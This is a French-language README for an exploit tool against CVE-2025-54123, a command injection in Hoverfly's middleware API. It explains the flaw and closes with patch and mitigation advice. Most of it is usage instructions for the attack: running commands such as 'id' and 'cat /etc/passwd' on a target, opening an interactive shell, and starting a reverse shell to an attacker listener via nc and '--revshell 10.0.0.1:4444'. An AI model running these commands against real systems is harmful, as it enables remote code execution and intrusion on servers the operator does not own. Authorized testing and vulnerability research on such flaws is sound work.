Exploit pour CVE-2025-54123, une injection de commandes OS authentifiée dans l'API middleware de Hoverfly, offrant des capacités de vérification seule, de commande unique, de shell interactif et de shell inversé pour les tests de sécurité autorisés.
| Propriété | Valeur |
|---|
| ID CVE | CVE-2025-54123 |
| Score CVSS | 9.8 — Critique |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (Injection de commande système), CWE-20 (Validation d'entrée inadéquate) |
| Produit | Hoverfly — Outil open-source de simulation d'API |
| Versions affectées | Toutes les versions jusqu'à 1.11.3 inclus |
| Corrigé dans | 1.12.0 (commit de correctif) |
| Avis de sécurité | GHSA-r4h8-hfp2-ggmf |
Voici une analyse approfondie du cas d'étude et une analyse technique en boîte blanche et boîte noire https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly expose une API admin RESTful (port par défaut 8888) pour gérer les configurations de simulation. Le point de terminaison de gestion du middleware à /api/v2/hoverfly/middleware accepte un corps JSON avec les champs binary et script qui définissent un processus middleware externe.
La vulnérabilité provient d'une combinaison de trois défauts au niveau du code :
Validation d'entrée insuffisante — middleware.go:93-96 : La fonction SetBinary() accepte le paramètre binary sans aucune validation ni assainissement, permettant à un attaquant de spécifier des exécutables arbitraires (par ex. bash).
Exécution de commande non sécurisée — local_middleware.go:14-19 : Le middleware est exécuté via exec.Command() avec les valeurs binary et script contrôlées par l'attaquant passées directement comme arguments, permettant l'injection de commande système.
Exécution immédiate lors du test — hoverfly_service.go:173 : Lorsque le middleware est défini via l'API, Hoverfly teste immédiatement le middleware en l'exécutant, déclenchant la commande injectée au moment de la configuration plutôt qu'au moment de l'interception du proxy.
Attacker Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) Authenticate
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) Inject payload
│ { "binary": "bash", │
│ "script": "<malicious cmd>" } │
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) Immediate execution
│ │ → attacker command runs as ││
│ │ the Hoverfly process user ││
│ └──────────────────────────────────┘│
│ │
│<── Command output in error response ──│ (4) Exfiltrate output
│ │
admin / mot de passe configurable)git clone https://github.com/<votre-utilisateur>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
Vérifier l'accessibilité de la cible et l'authentification sans exploitation :
python3 exploit.py -u http://cible:8888 -U admin -P <motdepasse> -C
Exécuter une seule commande système sur la cible :
python3 exploit.py -u http://cible:8888 -U admin -P <motdepasse> -c 'id'
Lancer une session shell persistante :
python3 exploit.py -u http://cible:8888 -U admin -P <motdepasse> -i
Envoyer un shell inverse vers votre écouteur :
# Terminal 1 — démarrer l'écouteur
nc -lvnp 4444
# Terminal 2 — lancer l'exploit
python3 exploit.py -u http://cible:8888 -U admin -P <motdepasse> --revshell 10.0.0.1:4444
Router le trafic via Burp Suite pour inspection :
python3 exploit.py -u http://cible:8888 -U admin -P <motdepasse> -c 'cat /etc/passwd' --proxy -v
| Drapeau | Description | Défaut |
|---|---|---|
-u, --url | URL de la cible Hoverfly | Requis |
-U, --username | Nom d'utilisateur admin | Requis |
-P, --password | Mot de passe admin | Requis |
-c, --command | Commande système à exécuter | — |
-C, --check | Mode vérification uniquement (sans exploitation) | false |
-i, --interactive | Pseudo-shell interactif | false |
--revshell | Shell inverse LHOST:LPORT | — |
--proxy | Router via 127.0.0.1:8080 | false |
--timeout | Délai d'attente de la requête (secondes) | 15 |
-v, --verbose | Activer la sortie verbeuse | false |
| Action | Détails |
|---|---|
| Mise à niveau | Mettre à jour Hoverfly vers v1.12.0 ou ultérieure, où l'API de définition du middleware est désactivée par défaut |
| Segmentation réseau | Restreindre l'accès à l'API admin Hoverfly (port 8888) aux réseaux de confiance uniquement |
| Authentification | Utiliser des mots de passe forts et uniques pour l'API admin Hoverfly |
| Surveillance | Surveiller les requêtes PUT inattendues vers /api/v2/hoverfly/middleware |
Le correctif dans le commit 17e60a9 désactive l'API de définition du middleware par défaut. Les modifications ultérieures de la documentation (commit a9d4da7) informent les utilisateurs des implications de sécurité de l'exposition de ce point de terminaison.
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et de recherche éducative. L'accès non autorisé à des systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans le monde entier. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel. Obtenez toujours une autorisation écrite explicite avant de tester tout système qui ne vous appartient pas.
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # Exploit perfectionné
│ └── raw_exploit.py # PoC brut original
├── Images/ # Captures d'écran de recherche
├── Reference/ # Exploits de référence pour étude
├── requirements.txt # Dépendances Python
└── README.md # Ce fichier
Phantom Hat — Chercheur en sécurité
Cette recherche a été menée dans le cadre d'une étude de cas de vulnérabilité à des fins éducatives.